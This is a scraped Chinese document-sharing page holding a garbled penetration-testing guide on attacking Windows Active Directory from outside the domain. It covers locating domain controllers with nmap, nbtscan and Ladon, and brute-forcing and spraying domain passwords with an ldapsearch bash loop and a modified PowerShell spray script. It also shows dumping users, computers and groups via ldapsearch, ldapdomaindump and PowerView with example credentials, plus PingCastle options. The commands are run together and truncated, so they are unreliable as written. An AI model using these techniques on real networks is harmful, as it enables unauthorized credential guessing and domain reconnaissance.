版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
域外渗透域内方法目前我知道的方法,通过nbtscan去看那些机器是域机器,ldap定位域控,还有扫描那些机器开启了kerberos然后针对加入域内的机器去针对性的打,还有针对域控利用AS-REQ阶段去枚举用户名和密码,想问问还有其他思路么扫描探测ldapldap定位域控nmap-T3-sV-n-sT-pnmap-T3-sV-n-sT-p389,636,3268,3269-v--open/241nbtscan1nbt.exe/162nbt.exe/24cping1cping40.exescanosver552cping35.exescansmbvul55ms17010ldapscan11Ladon.exe/24ldapscan 问题,可能会存在多个389portscan1Ladon.exe/24PortScan配置端口port.txt2port.txt387-894388-390域外暴力破解域用户口令的方法linux下循环实现暴力破解,完整的bash命令如下:foriin$foriin$(cattest.txt);doecho-e"\n$i";ldapsearch-x-Hldap://192.168.1test.txt保存所有用户名,如果口令正确,输出查询结果的个数,如果口令错误,返回验证错误:ldap_bind:Invalidcredentials(49)输出结果如下图Windows下Windows系统通过Invoke-DomainPasswordSprayOutsideTheDomain暴力破解域用户口令DomainPasswordSpray的功能比较完整,但不支持域外的使用,所以我在DomainPasswordSpray的基础上做了一些修改,使其支持域外的使用具体修改的位置如下:原版中修改LDAP查询的语句:$DomainContext$DomainContext=New-ObjectSystem.DirectoryServices.ActiveDirectory.Directo$DomainObject=[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain$CurrentDomain="LDAP://"+([ADSI]"LDAP://$Domain").distinguishedName替换为LDAP的查询语句,示例:"/DC=test,DC=com"最终的完整查询语句为:LDAP:///DC=test,DC=com由于是在域外进行暴力破解,无法获得域用户的口令策略,所以我移除了DomainPasswordSpray中获得口令策略的功能我已经将修改后的代码上传至github,地址如下:/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1域外使用的示例命令如下:1Invoke-DomainPasswordSprayOutsideTheDomain-Domain1Invoke-DomainPasswordSprayOutsideTheDomain-Domain"/DC=test,DC=c获取到凭证后域外获取活动目录信息的方法域控制器默认会开启端口389,用作LDAP服务https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96Kali系统通过ldapsearch进行数据查询测试环境如下图前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令这个测试环境中,我们获得了域内普通用户testa的口令为DomainUser123!连接命令如下:11ldapsearch-x-Hldap://:389-D"CN=testa,CN=Users,DC=test,DC=com1参数说明:23-x进行简单认证4-H服务器地址5-D用来绑定服务器的DN6-w绑定DN的密码7-b指定要查询的根节点89这条命令会显示所能查询到的所有信息,如下图查询所有域用户加入搜索条件:"(&(objectClass=user)(objectCategory=person))"加入搜索条件:"(&(objectClass=user)(objectCategory=person))"11ldapsearch-x-Hldap://:389-D"CN=testa,CN=Users,DC=test,DC=com这条命令会输出所有域用户的所有属性,如下图为了便于统计名称,可以选择只列出CN(CommonName),并且使用grep命令对输出进行过滤命令如下:11ldapsearch-x-Hldap://:389-D"CN=testa,CN=Users,DC=test,DC=com查询所有计算机加入搜索条件:"(&(objectCategory=computer)(objectClass=computer))"命令如下:11ldapsearch-x-Hldap://:389-D"CN=testa,CN=Users,DC=test,DC=com查询所有组加入搜索条件:"(&(objectCategory=group))"命令如下:11ldapsearch-x-Hldap://:389-D"CN=testa,CN=Users,DC=test,DC=com接着,开始带账密[此处只需一个普通用户账密即可]远程dump域内数据,实际中亦可把ldapdomaindump挂到socks下使用,dump的速度跟数据量有直接关系#pip2.7installldapdomaindump#pip2.7installldapdomaindump#ldapdomaindump49-u'motoo\majun'-p'mj123!@#45'-atNTLM-2.Windows系统通过PowerView进行数据查询前提:我们能够访问到域控制器(DC)的389端口,并且我们至少已经获得了域内一个普通用户的口令这个测试环境中,我们获得了域内普通用户testa的口令为DomainUser123!PowerView的地址:/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1查询所有域用户这里需要使用凭据信息,所以完整的命令如下:Import-ModuleImport-Module.\PowerView.ps11$uname=$uname="testa"$pwd=ConvertTo-SecureString"DomainUser123!"-AsPlainText–Force$cred=New-ObjectSystem.Management.Automation.PSCredential($uname,$pwd)Get-NetUser-Domain-DomainController-ADSpath"LDAP://1Get-NetUser-Domain-DomainController0-ADSpath"为了便于统计名称,可以选择只列出name项,完整命令如下:$uname=$uname="testa"$pwd=ConvertTo-SecureString"DomainUser123!"-AsPlainText–Force$cred=New-ObjectSystem.Management.Automation.PSCredential($uname,$pwd)Get-NetUser-Domain-DomainController-ADSpath"LDAP://查询所有计算机$uname$uname="testa"$pwd=ConvertTo-SecureString"DomainUser123!"-AsPlainText–Force$cred=New-ObjectSystem.Management.Automation.PSCredential($uname,$pwd)Get-NetComputer-Domain-DomainController-ADSpath"LDA查询所有组$uname$uname="testa"1$pwd$pwd=ConvertTo-SecureString"DomainUser123!"-AsPlainText–Force$cred=New-ObjectSystem.Management.Automation.PSCredential($uname,$pwd)Get-NetGroup-Domain-DomainController-ADSpath"LDAP:/PingCastle/vletoux/pingcastle1搜集域控列表[包括各个域控机器自身的详细信息]2□搜集域管列表[包括各个域管用户的活跃记录,锁定状态等...]3□搜集域内组列表4□自动检查域间信任关系5□检查容易受kerberoast攻击的域管账户6□检查是否安装有laps7□检查域内用户密码策略8□检查AdminSDHolder后门9□检查金票后门10□检查GPO后门11□检查WFF12□检查域内登录脚本13□检查委派14□检查容易受攻击的老版本系统15□检查容易受AS-REPRoasting攻击的账户16□域功能级别17□僵尸账户识别18□密码长期有效的用户19□域内所用操作系统版本大致画像20□zerologon漏洞探测日常域外搜集基本就一句话,其余的都用不上,因为都已经概括进去了,实际中亦可直接把工具挂到socks下操作一句话域内搜集11PingCastle.exe--server49--usermotoo\majun--passwordmj123!2此处的域用户登录记录获取的并不太全11PingCastle.exe--server49--usermotoo\majun--passwordmj123!更多该命令参数:--healthcheck:执行安全检查(步骤1)--api-endpoint<>:通过调用api上传报告,例如:http://server--api-key<key>:使用已注册的api密钥--explore-trust:在运行安全检查之后,在目录林的域上,对除目录林和目录林信任域之--explore-forest-trust:在森林的根域上,运行状况检查之后,对发现的所有森林信任--explore-trust和--explore-forest-trust可一起运行--explore-exception<domains>:逗号分隔的不会自动探索的域的值--encrypt:使用存储在.config文件中的RSA密钥对xml报告的内容进行加密--level<级别>:指定在xml文件中找到的数据量例如:--levelFull,Normal,Ligh--no-enum-limit:删除HTML报告中最多100个用户的限制--reachable:将可访问域添加到发现的域列表中--sendXmlTo<电子邮件>:将xml报告发送到邮箱(以逗号分隔的电子邮件)--sendHtmlTo<电子邮件>:将html报告发送到邮箱--sendAllTo<电子邮件>:将html报告发送到邮箱--notifyMail<电子邮件>:在收到邮件时添加电子邮件通知--smtplogin<用户>:允许smtp凭据...--smtppass<pass>:...在命令行中输入--smtptls:如果在465和587以外的其他端口上使用,则在SMTP中启用TLS/SSL--skip-null-session:不测试空会话--webdirectory<dir>:将xml报告上传到webdav服务器--webuser<用户>:可选的用户名和密码--webpassword<密码2425 --I-swear-I-paid-win7-support:毫无意义--scanner1警告:同时检查多个工作站可能会引发安全警报。2aclcheck \\检查域内的ACL34antivirus \\检查域内未安装已知防病毒软件的计算机,它用于检测不受保护的计56export_user \\导出AD域内所有用户及其创建日期,上次登录和上次密码更改。789foreignusers \\使用信任机制枚举位于其他域中的用户,例如距离太远的域1011laps_bitlocker \\检查是否为域
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 室内设计风格展示
- 目录与导航设计
- 眼科青光眼手术后眼部护理培训规范
- 花艺设计公司运营体系
- 核医学科:甲亢患者核素治疗方案
- 创意鸡蛋设计画作全解析
- 人力资源部年度员工总结
- 电商淘宝设计核心要素
- 草原教学设计
- 冰箱压缩机课程设计
- 高考化学主观题重点突破策略
- 试件留置方案和试验计划
- T∕HNCJ 0003-2026 城镇供水管网分区计量漏损控制技术标准
- 生产计划与调度工具产能需求预测版
- 【小学】【纪律主题】班会:-碎嘴子的代价【课件】
- 电力5G通信模组测试规范
- 2025年注册会计师公司战略与风险管理试题测试题及答案
- GB/T 19861-2026丙烯酸系阴离子交换树脂交换容量测定方法
- 计算机新技术简介
- 雨课堂学堂在线学堂云《The intangible cultural heritage textile - let the world understand the beauty of China(天津工业)》单元测试考核答案
- 2026年及未来5年中国MMA行业市场全景分析及投资战略规划报告
评论
0/150
提交评论